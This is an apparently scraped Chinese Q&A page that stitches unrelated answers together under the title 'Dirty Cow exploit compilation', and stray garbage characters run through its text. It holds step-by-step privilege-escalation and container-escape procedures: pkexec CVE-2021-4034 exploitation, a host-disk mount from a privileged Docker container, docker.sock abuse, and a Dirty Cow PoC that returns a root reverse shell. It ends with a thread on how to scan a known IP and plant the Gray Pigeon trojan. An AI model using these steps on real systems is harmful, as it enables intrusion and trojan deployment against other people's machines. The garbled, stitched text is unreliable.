当前位置:首页 » 编程软件 » 脏牛漏洞编译

脏牛漏洞编译

发布时间: 2023-04-25 09:03:11

‘壹’ Openssh升级漏洞修复

0.前言
公司采用三方漏洞扫描时发现大量openssh漏洞,最终修复漏洞方案为将openssh升级到官方最新版本。

操作系统: Centos7.2
网络状况: 可以访问外网
Openssh版厅燃本: OpenSSH_6.6.1p1, OpenSSL 1.0.1e-fips 11 Feb 2013

修改配置文件/etc/xinetd.d/telnet 将里面的”disable= yes”改成” disable=no” ,修改后结果

在/etc/securetty文件末尾增加一些pts终端,直接加在末尾就可以了

防火墙开启23号端口,好世当然也可以直接关闭防友伏肢火墙 ,这里选择关闭防火墙

或修改配置文件,永久生效。

(4)安装依赖包

4.2 换成telnet登录服务器
其换成telnet登录服务器,更新过程ssh连接会断,导致无法连接

4.3 安装Openssl步骤
(1)替换会被备份的文件

(2)解压软件包并且进入目录进行编译

(3)创建软连接

(4)验证文件

(5)修改配置文件

5.2 安装步骤
(1)解压压缩

(2)修改目录权限

(3)备份会替换的文件

(4)执行编译安装

(5)修改配置文件

(6)文件替换

(7)添加开机自启动

(8)重启ssh

注意:在运行这个脚本的时候备份文件必须要是/back_up/backup.tgz,如果备份的时候叫其他名称,请自行修改脚本。还有脚本不能运行为前台且跟终端相关进程,因为经测试发现在还原的时候ip会被冲掉。所以远程连接会断掉

最后需要注意的是执行脚本会重启机器

‘贰’ polkit pkexec 本地提权漏洞(CVE-2021-4034)

任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益

这个漏洞比较nb,现有的所有版本的pkexec都受到影响
polkit是纯运一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他做神梁的作用有点类似于sudo,允许用户以另一个用户身份执行命令

将此文件复制到exp目录下的pwnkit目录
cve-2021-4034执行失败 会在目录下生成两个文件夹 一个是"GCONV_PATH=" 还有一个是"pwnkit" 把pwnkit文件夹里面pwnkit.c文件拿到本地编译成pwnkit.so 再放入pwnkit文件夹 这个时候再去执行cve-2021-4034 就会提权成功瞎伍了

‘叁’ linux Polkit本地权限提升漏洞(CVE4034)修复方法

近日,Qualys研究团队公开披露了在Polkit的pkexec 中发现的一个权限提升漏洞,也被称为PwnKit。该漏洞是由于pkexec 无法正确处理调用参数,从而将环境变量作为命令执行,任何非特权本地用户可通过此漏洞获取root权限。目前该漏洞PoC已公开。

具有任意用户权限的攻击者都可以在默认配置下通过修改环境变量来利用此漏洞,从而获得受影响主机的root 权限。

Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在Polkit的Linux系统均受影响。

以下为安全版本

注意:版本号必须完全一致,否则还是存在漏洞。最好的办法是通过代码验证,验证代码库地址: https://github.com/berdav/CVE-2021-4034

切换到源代码目录,编译,运行,输入命令whami可以看到当前用户已经变成了root。

事实证明确实存在此漏洞!

以下命令在Rocky Linux 8.5上验证,可以修复CVE-2021-4034漏洞

命令的含义

yum clean all :清除所有的缓存信息,包括packages、metadata、headers,这个命令相当于执行了下面三条命令

yum makecache : 生成缓存

此时再执行验证代码,可以发现已经无法提升权限。

注意 :在某些CentOS 8版本中,执行 yum update polkit -y 之后,polkit的版本号显示为:polkit-libs-0.115-12.el8.x86_64,经过验证,此版本仍然存在漏洞。此时只能通过下面的临时缓解措施解决。

CentOS 8 操作系统可能确实无法通过 yum update polkit -y 的方法修复漏洞,这是因为C entOS 8已经于2021年12月31日停止更新并停止维护(EOL)。

那么只能通过临时缓解措施解决了。

缓解之前的

缓解之后的

变化在于文件/usr/bin/pkexec的权限由之前的4755变成了0755

本次测试环境在阿贝云免费云服务器(https://www.abeiyun.com/)上进行,阿贝云目前正在进行"免费虚拟主机"和“免费云服务器”体验活动,感兴趣的可以试试。

‘肆’ 手游APP如何加密防破解

主要有三部分的工作:
反编译漏洞防护
反编译漏洞会暴漏App源码,给黑客二次打包的机会。黑客利用反编译漏洞可以找到App的设计流程,进行山寨、篡改、注入恶意代码;对采用积分机制的App进行破解,绕过程序的验证机制;通过暴露的URL对服务器进行恶意攻击。开发者可以通过代码混淆、代码加密等措施进行防护。
内存漏洞防护
内存漏洞一般会给恶意程序修改存储在手机上的数据留下可乘之机,非静态内部类的静态实例容易造成内存泄漏,activity使用静态成员,使用handler时的内存问题等。开发者可以通过对一些应用数值做打散处理来防护。
反调试漏洞防护
反调试漏洞的主要危害是在用户收发短信时偷走短信记录,或在用户使用支付软件的时候,偷走用户的支付口令。针对这种漏洞,开发者可采用底层加密保护,或使用第三方安全平台加固如爱加密可以省事很多。

‘伍’ centos7 root登录后 所有的命令都失效,请问有人知道是怎么回事吗

本节所讲内容:
10.1 进程概述和ps查看进程工具
10.2 uptime查看系统负载-top动态管理进程
10.3 前后台进程切换-nice进程优先级-screen后台执行命令
安装包地址:渗透测试实战:内网渗透之域渗透
10.1 进程概述和ps管理进程 10.1.1 什么是进程?
进程: 是程序运行的过程, 动态,有生命周期及运行状态,是已启动的可执行程序的运行实例。
进程有以下组成部分:
• 已分配内存的地址空间;
• 安全属性,包括所有权凭据和特权;
• 程序代码的一个或多个执行线程;
• 进程状态
线程:进程和线程都是由操作系统所体现的程序运行的基本单元,系统利用该基本单元实现系统对应用的并发性。进程和线程的区别在于:简而言之,一个程序至少有一个进程,一个进程至少有一个线程。
程序: 二进制文件(程序即二进制文件),静态实体 /bin/date,/usr/sbin/sshd
下图所示的是进程的生命周期:
父进程复制自己的地址空间(fork [fɔ:k] 分叉)创建一个新的(子)进程结构。每个新进程分配一个唯一的进程 ID (PID),满足跟踪安全性之需。PID 和 父进程 ID (PPID)是子进程环境的元素,任何进程都可以创建子进程,所有进程都是第一个系统进程的后代。
centos5或6PID为1的进程是: init
centos7 PID为1的进程是: systemd
centso8 PID为1的进程是: systemd
僵尸进程:一个进程使用fork创建子进程,如果子进程退出,而父进程并没有调用wait或waitpid获取子进程的状态信息,那么子进程的进程描述符仍然保存在系统中。这种进程称之为僵尸进程。
父进程退出了, 子进程没有退出, 那么这些子进程就没有父进程来管理,就变成僵尸进程。
10.1.2 进程的属性
进程ID(PID):是唯一的数值,用来区分进程
父进程的ID(PPID)
启动进程的用户ID(UID)和所归属的组(GID)
进程状态:状态分为运行R(running)、休眠S(sleep)、僵尸Z(zombie)
进程执行的优先级
进程所连接的终端名
进程资源占用:比如占用资源大小(内存、CPU占用量)
10.1.3 使用ps查看进程工具
1、ps查看进程工具
例1:常用的参数:
a: 显示跟当前终端关联的所有进程
u: 基于用户的格式显示(U: 显示某用户ID所有的进程)
x: 显示所有进程,不以终端机来区分
例2:常用的选项组合是 ps -aux
[root@xuegod63 ~]# ps -axu | more
注: 最后一列[xxxx] 使用方括号括起来的进程是内核态的进程。 没有括起来的是用户态进程。
上面的参数输出每列含意:
USER: 启动这些进程的用户
PID: 进程的ID
%CPU 进程占用的CPU百分比;
%MEM 占用内存的百分比;
VSZ:进程占用的虚拟内存大小(单位:KB)
RSS:进程占用的物理内存大小(单位:KB)
STAT:该程序目前的状态,Linux进程有5种基本状态:
R :该程序目前正在运行,或者是可被运行;
S :该程序目前正在睡眠当中 (可说是 idle 状态啦!),但可被某些讯号(signal) 唤醒。
T :该程序目前正在侦测或者是停止了;
Z :该程序应该已经终止,但是其父程序却无法正常的终止他,造成 zombie (疆尸) 程序的状态
D 不可中断状态.
5个基本状态后,还可以加一些字母,比如:Ss、R+,如下图:
它们含意如下::
<: 表示进程运行在高优先级上
N: 表示进程运行在低优先级上
L: 表示进程有页面锁定在内存中
s: 表示进程是控制进程
l: 表示进程是多线程的
+: 表示当前进程运行在前台
START:该 process 被触发启动的时间;
TIME :该 process 实际使用 CPU 运作的时间。
COMMAND:该程序的实际指令
例1: 查看进程状态
[root@xuegod63 ~]# vim a.txt
在另一个终端执行:
[root@xuegod63 ~]# ps -aux | grep a.txt #查看状态 S表示睡眠状态, + 表示前台
root 4435 0.0 0.2 151752 5292 pts/1 S+ 20:52 0:00 vim a.txt
root 4661 0.0 0.0 112676 996 pts/0 S+ 21:05 0:00 grep --color=auto a.txt
在vim a.txt 这个终端上 按下: ctrl+z
[1]+ 已停止 vim a.txt
在另一个终端执行:
[root@xuegod63 ~]# ps -aux | grep a.txt #查看状态 T表示停止状态
root 4435 0.0 0.2 151752 5292 pts/1 T 20:52 0:00 vim a.txt
root 4675 0.0 0.0 112676 996 pts/0 S+ 21:05 0:00 grep --color=auto a.txt
注:
ctrl-c 是发送 SIGINT 信号,终止一个进程
ctrl-z 是发送 SIGSTOP信号,挂起一个进程。将作业放置到后台(暂停) 前台进程收到这些信号,就会采取相应动作。
ctrl-d 不是发送信号,而是表示一个特殊的二进制值,表示 EOF。代表输入完成或者注销
在shell中,ctrl-d表示退出当前shell.
例2: D 不可中断状态
[root@xuegod63 ~]# tar -zcvf usr-tar.gz /usr/
#然后在另一个终端不断查看状态,由S+,R+变为D+
2、ps常用的参数: ps -ef
-e 显示所有进程
-f 显示完整格式输出
我们常用的组合: ps -ef
包含的信息如下
UID: 启动这些进程的用户,程序被该UID所拥有
PID: 该进程的ID
PPID: 该进程的父进程的ID
C: 该进程生命周期中的CPU 使用资源百分比
STIME: 进程启动时的系统时间
TTY: 表明进程在哪个终端设备上运行。如果显示 ?表示与终端无关,这种进程一般是内核态进程。另外, tty1-tty6 是本机上面的登入者程序,若为 pts/0 等,则表示运行在虚拟终端上的进程。
TIME: 运行进程一共累计占用的CPU时间
CMD: 启动的程序名称
例1:测试CPU使用时间。
dd if=/dev/zero of=~/zero.txt count=10 bs=100M
[root@localhost ~]# ps -axu | grep dd
注:
ps aux 是用BSD的格式来显示进程。
ps -ef 是用标准的Unix格式显示进程
10.2 uptime查看系统负载-top动态管理进程 10.2.1 uptime查看CPU负载工具
[root@localhost ~]# uptime
13:22:30 up 20days, 2 users, load average: 0.06, 0.60, 0.48
弹出消息含意如下:
13:22:30
当前时间
up 20days
系统运行时间 ,说明此服务器连续运行20天了
2 user
当前登录用户数
load average: 0.06, 0.60, 0.48
系统负载,即任务队列的平均长度。 三个数值分别为 1分钟、5分钟、15分钟前到现在的平均值。
任务队列的平均长度是什么?
大厅排队买票:
这时队列是4:
cpu队列数为3时,如图:
互动:例1:找出前当系统中,CPU负载过高的服务器?
服务器1: load average: 0.15, 0.08, 0.01 1核
服务器2: load average: 4.15, 6.08, 6.01 1核
服务器3: load average: 10.15, 10.08, 10.01 4核
答案:服务器2
如果服务器的CPU为1核心,则load average中的数字 >=3 负载过高,如果服务器的CPU为4核心,则load average中的数字 >=12 负载过高。
经验:单核心,1分钟的系统平均负载不要超过3,就可以,这是个经验值。
如下图: 1人只能买1张票,排第四的人可能会急。 所以我们认为超过3就升级CPU
10.2.2 top命令
[root@xuegod63 ~]# top #top弹出的每行信息含意如下:
第一行内容和uptime弹出的信息一样
进程和CPU的信息( 第二、三行)
当有多个CPU时,这些内容可能会超过两行。内容如下:
Tasks: 481 total
进程总数
1 running
正在运行的进程数
480 sleeping
睡眠的进程数
0 stopped
停止的进程数
0 zombie
僵尸进程数
Cpu(s): 0.0% us
系统用户进程使用CPU百分比。
0.0% sy
内核中的进程占用CPU百分比
0.0% ni
用户进程空间内改变过优先级的进程占用CPU百分比
98.7% id
空闲CPU百分比
0.0% wa
cpu等待I/0完成的时间总量。
测试:
终端1:执行:top
终端2:dd if=/dev/zero of=/a.txt count=10 bs=100M
终端3:dd if=/dev/zero of=/a.txt count=10 bs=100M
正常读写时,如果wa占用较多CPU,那么就是磁盘性能问题,建议更换磁盘。
如下:
0.0% hi(了解)
硬中断消耗时间
硬中断,占用CPU百分比。1. 硬中断是由硬件产生的,比如,像磁盘,网卡,键盘,时钟等。每个设备或设备集都有它自己的IRQ(中断请求)。基于IRQ(Interrupt Request),CPU可以将相应的请求分发到对应的硬件驱动上(注:硬件驱动通常是内核中的一个子程序,而不是一个独立的进程)。# hi -> Hardware IRQ: The amount of time the CPU has been servicing hardware interrupts.
0.0% si(了解)
软中断消耗时间
软中断,占用CPU百分比。1. 通常,软中断是一些对I/O的请求。这些请求会调用内核中可以调度I/O发生的程序。对于某些设备,I/O请求需要被立即处理,而磁盘I/O请求通常可以排队并且可以稍后处理。根据I/O模型的不同,进程或许会被挂起直到I/O完成,此时内核调度器就会选择另一个进程去运行。I/O可以在进程之间产生并且调度过程通常和磁盘I/O的方式是相同。# si -> Software Interrupts.: The amount of time the CPU has been servicingsoftware interrupts.
0.0 st (steal 偷)
st:虚拟机偷取物理的时间。比如:物理机已经运行了KVM虚拟机。KVM虚拟机占用物理机的cpu时间
内存信息(第四五行)
内容如下:
Mem: 2033552k total
物理内存总量
340392k used
使用的物理内存总量
1376636k free
空闲内存总量
316524k buff/cache
用作内核缓存的内存量。
和free -k 一个意思
Swap: 2017948k total
交换区总量
0k used
使用的交换区总量
192772k free
空闲交换区总量
1518148 avail Mem
总的可利用内存是多少
注:如果swap分区,被使用,那么你的内存不够用了。
第7行进程信息
列名
含义
PID
进程id
USER
进程所有者的用户名
PR
优先级(由内核动态调整),用户不能
NI
进程优先级。 nice值。负值表示高优先级,正值表示低优先级,用户可以自己调整
VIRT(virtual memory usage)
虚拟内存,是进程正在使用的所有内存(ps中标为VSZ)
VIRT:virtual memory usage 虚拟内存
1、进程“需要的”虚拟内存大小,包括进程使用的库、代码、数据等
2、假如进程申请100m的内存,但实际只使用了10m,那么它会增长100m,而不是实际的使用量
RES(resident memory usage)
是进程所使用的物理内存。实际实用内存(ps中标为RSS)
RES:resident memory usage 常驻内存
1、进程当前使用的内存大小,但不包括swap out
2、包含其他进程的共享
3、如果申请100m的内存,实际使用10m,它只增长10m,与VIRT相反
4、关于库占用内存的情况,它只统计加载的库文件所占内存大小
SHR
共享内存大小,单位kb
SHR:shared memory 共享内存
1、除了自身进程的共享内存,也包括其他进程的共享内存
2、虽然进程只使用了几个共享库的函数,但它包含了整个共享库的大小
3、计算某个进程所占的物理内存大小公式:RES – SHR
4、swap out后,它将会降下来
S
进程状态。
D=不可中断的睡眠状态
R=运行中或可运行
S=睡眠中
T=已跟踪/已停止
Z=僵停
%CPU
上次更新到现在的CPU时间占用百分比
%MEM
进程使用的物理内存百分比
TIME+
进程使用的CPU时间总计,单位1/100秒
COMMAND
命令名/命令行
top快捷键:
默认3s刷新一次,按s修改刷新时间
按空格 :立即刷新。
q退出
P:按CPU排序
M:按内存排序
T按时间排序
p: 进程pid,查看某个进程状态
数字键1:显示每个内核的CPU使用率,展示cpu数量,再按下,就收起来了
u/U:指定显示的用户
h:帮助
例1:运行top,依次演示一下top的快捷键,让大家看一下效果
例2:使用TOP动态只查看某个或某些进程的信息
找到进程PID
[root@localhost ~]# vim a.txt
[root@localhost ~]# ps axu | grep vim
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ
root 9667 0.0 0.2 143620 3344 pts/1 S<+ 19:15 0:00 vim a.txt
[root@localhost ~]# top -p 9667
10.2.3 实战1:找出系统中使用CPU最多的进程
运行top , 找出使用CPU最多的进程 ,按大写的P,可以按CPU使用率来排序显示
互动:在linux系统中一个进程,最多可以使用100%cpu对吗?
如下图,可以看到dirtycow(脏牛漏洞,用于提权) 进程使用196.8%
这是你第一次看见: 1
如果你的4核心的cpu,你可以运行400%
64核心的cpu,可以运行到6400%
10.2.4 lsof命令
lsof命令用于查看你进程打开的文件,打开文件的进程,进程打开的端口(TCP、UDP)
-i<条件>:列出符合条件的进程。(ipv4、ipv6、协议、:端口、 @ip )
-p<进程号>:列出指定进程号所打开的文件;
例:
[root@xuegod63 ~]# vim a.txt
[root@xuegod63 ~]# ps -axu | grep a.txt
root 43641 0.8 0.2 151744 5280 pts/3 S+ 18:19 0:00 vim a.txt
root 43652 0.0 0.0 112676 996 pts/1 S+ 18:19 0:00 grep --color=auto a.txt
[root@xuegod63 ~]# yum -y install lsof
[root@xuegod63 ~]# lsof -p 65641 #进程pid一般用于查看木马进程,在读哪些文件
[root@xuegod63 ~]# lsof -i :22 #查看端口,或查看黑客开启的后门端口是哪个进程在用
[root@xuegod63 ~]# lsof -c vim #进程名,显示vim进程现在打开的文件
[root@xuegod63 ~]# lsof /test/.abc.txt.swp #显示占用文件.abc.txt.swp的进程
在这个示例中,用户root正在其/test目录中进行一些操作。一个 bash是实例正在运行,并且它当前的目录为/test,另一个则显示的是vim正在编辑/test下的文件。要成功地卸载/test,应该在通知用户以确保情况正常之后,中止这些进程。 这个示例说明了应用程序的当前工作目录非常重要,因为它仍保持着文件资源,并且可以防止文件系统被卸载。这就是为什么大部分守护进程(后台进程)将它们的目录更改为根目录、或服务特定的目录的原因,以避免该守护进程阻止卸载不相关的文件系统。
10.2.5 free显示系统中可用内存和已用内存的数量
free命令查看内存使用状态
子选项:
-b:以字节为单位表示。
-k:以KB为单位显示,默认是以KB为单位显示。
-m:以MB为单位显示。
-g:以GB为单位显示。
[root@localhost ~]# free -m
total used free shared buff/cache available
Mem: 972 603 69 24 299 123
Swap: 2047 69 1978
其中:
第一行:total是总内存量,used是已经使用的内存量,free是空闲的内存,shared是多个进程共享的内存总数,buffers是缓冲内存数,cache是缓存内存数。默认单位是KB。available 实际可用
(case 加速读,buffers加速写。)
第二行开始:total系统中有972MB的物理内存,used是已经使用的内存数量。free是空闲的内存数量。shared是多个进程共享的内存数量。buff/cache用来作为缓冲和缓存的空间,内核会在内存将要耗尽时释放这部分内存给其他进程使用。availble:可使用空间,评估有多少内存可用于启动新应用程序,不包括swap,不同于free和cache字段。available字段考虑了页缓存,而不是所有可回收的内存。正因为这个原因所以通常free+buff/cache的数值要比available的数值大。
互动:执行free命令查看系统状态,这一瞬间,当前系统,真正,还有多少M 内存可以使用?
答案1:free+ buff/cache=69 +299=368M
答案2:available=123M
10.3 前后台进程切换- nice进程优先级-screen后台执行命令 10.3.1 Linux后台进程与前台进程的区别
前台进程:是在终端中运行的命令,那么该终端就为进程的控制终端,一旦这个终端关闭,这个进程也随着消失
后台进程: 也叫守护进程(Daemon),是运行在后台的一种特殊进程,不受终端控制,它不需要终端的交互;Linux的大多数服务器就是用守护进程实现的。比如,Web服务器httpd等。
10.3.2 进程的前台与后台运行
跟系统任务相关的几个命令(了解):
& #用在一个命令的最后,可以把这个命令放到后台执行.
ctrl + z #将一个正在前台执行的命令放到后台,并且暂停.
jobs #查看当前有多少在后台运行的进程.它是一个作业控制命令
fg(foreground process) #将后台中的命令调至前台继续运行, 如果后台中有多个命令,可以用 fg %jobnumber将选中的命令调出,%jobnumber是通过jobs命令查到的后台正在执行的命令的序号(不是pid)
bg(background process) #将一个在后台暂停的命令,变成继续执行; 如果后台中有多个命令,可以用bg %jobnumber将选中的命令调出,%jobnumber是通过jobs命令查到的后台正在执行的命令的序号(不是pid)
实战恢复被挂起的进程(了解)
例: vim a.txt 按下: ctrl+z
[root@xuegod63 ~]# vim a.txt #打开后,然后执行 ctrl+z
[1]+ 已停止 vim a.txt
[root@xuegod63 ~]# ps -axu | grep vim
root 43710 0.8 0.2 151744 5304 pts/3 T 18:26 0:00 vim a.txt
root 43720 0.0 0.0 112676 984 pts/3 S+ 18:26 0:00 grep --color=auto vim
[root@xuegod63 ~]# jobs #查看当前有多少在后台运行的进程
[1]+ 已停止 vim a.txt
[root@xuegod63 ~]# fg 1 #将后台挂起的进程恢复到前台运行
10.3.3 kill关闭进程
关闭进程3个命令:kill killall pkill
kill关闭进程:kill 进程号 关闭单个进程
killall和pkill 命令用于杀死指定名字的进程
通过信号的方式来控制进程的
kill -l =====> 列出所有支持的信号(了解) 用最多的是: 9 信号
信号编号 信号名
1) SIGHUP 重新加载配置
2) SIGINT 键盘中断 crtl+c
3) SIGQUIT 退出
9) SIGKILL 强制终止
15) SIGTERM 终止(正常结束),缺省信号
18) SIGCONT 继续
19) SIGSTOP 停止
20) SIGTSTP 暂停 crtl+z
例1: kill和killall终止进程
[root@xuegod63 ~]# yum -y install psmisc
[root@xuegod63 ~]# kill -9 pid
[root@xuegod63 ~]# killall vim
[root@xuegod63 ~]# pkill vim
10.3.4 进程的优先级管理
优先级取值范围为(-20,19),值越小优先级越高, 默认优先级是0
优先级越高占用的CPU值就越高
命令1:nice 指定程序的运行优先级
格式:nice n command
命令2:renice 改变程序的运行优先级
格式:renice -n pid
例1:指定运行vim的优先级为5
[root@xuegod63 ~]# nice -n 5 vim a.txt
输入内容,然后ctrl+z 挂起
通过ps查看这个文件的PID号
[root@xuegod63 ~]# ps -aux|grep vim
通过top命令查看优先级
[root@xuegod63 ~]# top -p 26154
改变正在运行的进程的优先级
10.3.5 使用screen后台实时执行备份命令
实战场景:公司晚上需要备份1T数据,我在xshell上直接执行备份脚本back.sh可以吗? 或直接运行back.sh & 放到后台运行可以吗? 当关了xshell后,back.sh & 还在后台执行吗?
答:xshell长时间连接,如果本地网络偶尔断开或xshell不小心关闭,都会让后台运行的备份命令停止运行的。正确做法使用: srceen
10.3.6 screen概述和安装
Screen中有会话的概念,,用户可以在一个screen会话中创建多个screen窗口,在每一个screen窗口中就像操作一个真实的telnet/SSH连接窗口那样。
安装screen软件包
# rpm -ivh /mnt/Packages/screen-4.1.0-0.23.20120314git3c2946.el7_2.x86_64.rpm
或者
[root@xuegod63 ~]# yum -y install screen
10.3.7 screen使用方法
直接在命令行键入screen命令回车,如下图
[root@xuegod63 ~]# screen
Screen将创建一个执行shell的全屏窗口。你可以执行任意shell程序,就像在ssh窗口中那样
例如,我们在做某个大型的操作但是突然之间断开:
实战:使用screen后台实时执行命令备份命令
[root@xuegod63 ~]# screen #进入
[root@xuegod63 ~]# vim a.txt #执行命令, 或执行你自己需要运行的备份命令
此时想离开一段时间,但还想让这个命令继续运行
[root@xuegod63 ~]# #在screen当前窗口键入快捷键Ctrl+a+d
[detached from 44074.pts-3.xuegod63] #分离出来独立的一个会话
detached [dɪˈtætʃt] 分离,独立
半个小时之后回来了,找到该screen会话:
[root@tivf06 ~]# screen -ls #查看已经建立的会话ID
There is a screen on:
44074.pts-1.tivf06 (Detached)
1 Socket in /tmp/screens/S-root.
重新连接会话:
[root@xuegod63 ~]# screen -r 44074
root@xuegod63 ~]# exit #不想使用screen 会话了,执行:exit退出。
附:常用screen参数
screen -S test -> 新建一个叫test的会话
screen -ls -> 列出当前所有的会话
screen -r test -> 回到test会话
screen -S 会话id -X quit -> 删除会话
screen -S 会话名 -X quit -> 删除会话
总结:
10.1 进程概述和ps查看进程工具
10.2 uptime查看系统负载-top动态管理进程
10.3 前后台进程切换- nice进程优先级-screen后台执行命

‘陆’ 干货来啦!带你初探Docker逃逸

Docker 是当今使用范围最广的开源容器技术之一,具有高效易用的优点。然而如果使用Docker时采取不当安全策略,则可能 导致系统面临安全威胁。

本期安仔课堂,ISEC实验室的张老师 将为大家介绍不同环境下, Docker逃逸至外部宿主机的情况。

一、配置特权模式时的逃逸情况

1.--privileged(特权模式)

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。

使用特权模式启动容器, 可以获取大量设备文件访问权限 。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将碧游外部宿主机磁盘设备挂载进容器内稿慧迹部, 获取对整个宿主机的文件读写权限 ,此外还可以 通过写入计划任务等方式在宿主机执行命令

具体步骤如下:

1.以特权模式运行一个容器:docker run -it --privileged ubuntu:14.04 /bin/bash

2.查看磁盘文件:fdisk -l

3.此时查看/dev/路径会发现很多设备文件:ls /dev

4.新建目录以备挂载:mkdir /abc

5.将/dev/sda1挂载至 /abc: mount /dev/sda1 /abc

6.最终我们可以通过访问容器内部的/abc路径来达到访问整个宿主机的目的:ls /abc

7.尝试写文件到宿主机:echo 123 > /abc/home/botasky/escape2

8.查看宿主机中的文件:ls /home/botasky/escape2

2.--cap-add与SYS_ADMIN

Linux内核自版本2.2起引入功能(capabilities)机制,打破了UNIX/LINUX操作系统中超级用户与普通用户的概念, 允许普通用户执行超级用户权限方能运行的命令

截至Linux 3.0版本,Linux中共有 38种capabilities。Docker容器默认限制为14个capabilities ,管理员可以使用--cap-add和--cap-drop选项 为容器精确配置capabilities

当容器使用特权模式启动时,将被赋予所有capabilities。此外,在--cap-add的诸多选项中,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,因此当容器以--cap-add=SYSADMIN启动时,也将面临威胁。

二、挂载配置不当时的逃逸情况

1.危险的Docker.sock

众所周知,Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间 通信方式有以下3种:

其中 使用docker.sock进行通信为默认方式 ,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。

本质上而言,能够访问docker socket 或连接HTTPS API的进程可以 执行Docker服务能够运行的任意键并命令 ,以root权限运行的Docker服务通常可以 访问整个主机系统

因此,当容器访问docker socket时,我们可 通过与docker daemon的通信对其进行恶意操纵完成逃逸 。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。

具体步骤如下:

1.运行一个挂载/var/run/的容器:docker run -it -v /var/run/:/host/var/run/ ubuntu:14.04 /bin/bash

2.在容器内安装Docker作为client(此步骤可能需要更换源):apt-get install docker.io

3.查看宿主机Docker信息:docker -H unix:///host/var/run/docker.sock info

4.运行一个新容器并挂载宿主机根路径:docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash

可以看见@符号后的Docker ID已经发生变化:

5.在新容器/aa路径下完成对宿主机资源的访问:ls /aa

三、存在Dirty Cow漏洞时的逃逸情况

1.脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

竞争条件 意为任务执行顺序异常,可能 导致应用崩溃或面临攻击者的代码执行威胁 。利用该漏洞,攻击者可在其目标系统内提升权限,甚至 获得root权限 VDSO 就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。

在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击, 令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件

2.PoC&验证环境

GitHub上已有人提供了测试环境与PoC,我们可以通过以下命令获取。

1. 运行验证容器:docker-compose run dirtycow /bin/bash

2. 本地开启nc,进行观察(PoC中设置的反弹地址为本地的1234端口):nc -lvp 1234

3. 编译PoC并运行,等待shell反弹:make &./0xdeadbeef

通过ID命令,可以发现这个shell为root权限:

参考&引用

‘柒’ nginx升级之openssl 漏洞

1 之前是yum 安装的
2 centos 6.5

升级openssl

Centos 6.5系统openssl版本升级

升级nginx
如果openssl 是静态编译的,直接将openssl 编译到nginx里面去了,这就意味着,单纯升级openssl 是没有任何效果皮穗的,nginx不会加载芦改外部的openssl动态链接库的,必燃哗卜须将nginx重新编译。
nginx –V

如果编译参数中含有 –with-openssl= path ,或者有 –with-http_ssl_mole ,则表明nginx 是静态编译的,那么恭喜你在升级完openssl 之后还有重新编译nginx,指定openssl 的目录。

验证

看到likely not vulnerable,搞定了。

‘捌’ 请IT大佬帮忙看下哪里有漏洞,不管我输入什么数字(1.2.3.4)都显示价格为999(default时显示的价格)

#include <stdio.h>

int main ()
{
/* 局部变量定义 */
char grade = 'B';

switch(grade)
{
case 'A' :
printf("很棒!\n" );
break;
case 'B' :
case 'C' :
printf("做得好\n" );
break;
case 'D' :
printf("您通过了\n" );
break;
case 'F' :
printf("最好再试一下\n" );
break;
default :
printf("无效的成绩\铅神n" );
}
printf("您的成绩是 %c\n", grade );

return 0;
}
当上面的代码被编译和执行时,它会产生下列结果:
做得好
您的成绩是 B

所以你的最后打印语句必须跟在每一槐橡亏个小结果语句后面
一个总的打印语句不会识别出来的,而且在语句执行过程中,你的输入只有一如宴个,后面的for循环却要执行四次,所以你的输入在之后就不再是你的输入了,而是一个其他内存随机值。也就是999

‘玖’ 灰鸽子问题,我知道IP,用什么工具扫描漏洞,然后怎么传灰鸽子服务端

灰鸽子问题,我知道IP,用什么工具扫描漏洞,然后怎么传灰鸽子服务端?

能直接上传 那不是 135 1433 等几个高位漏洞才行 如果你要扫描的话就用 流光 SCAN 什么的 很多碧告

灰鸽子服务端

你说的是不同的概念。
服务端被肉鸡删除是肉鸡的主人删除服务端后,你(客户段端)就会遗失与肉鸡的连线。简单点,就是木马被人清理了,肉鸡飞了。不能二次利用
生成的时候选择了执行后自动删除:这个是指通过各种手段让别人执行生成的服务端(setup.exe)后,setup.exe释放木马档案到系统,并且删除自身(setup.exe),这个时候木马已经成功种植到受害者电脑里。这电脑成了肉鸡了。只要木马没被清理
就能利用

肯定是你上线设定有问题

编译灰鸽子服务端

加端口

灰鸽子服务端怎么配不了

你好,很高兴为你解答这个问题
如果你配置鸽子点生成服务端没有反映,那说明在资料夹 :Cache 里面没有档案,所以配置不了。
如果你不是这个问题,那就另当别论了
联络我看我的网络使用者名称

2008灰鸽子服务端怎么清除!

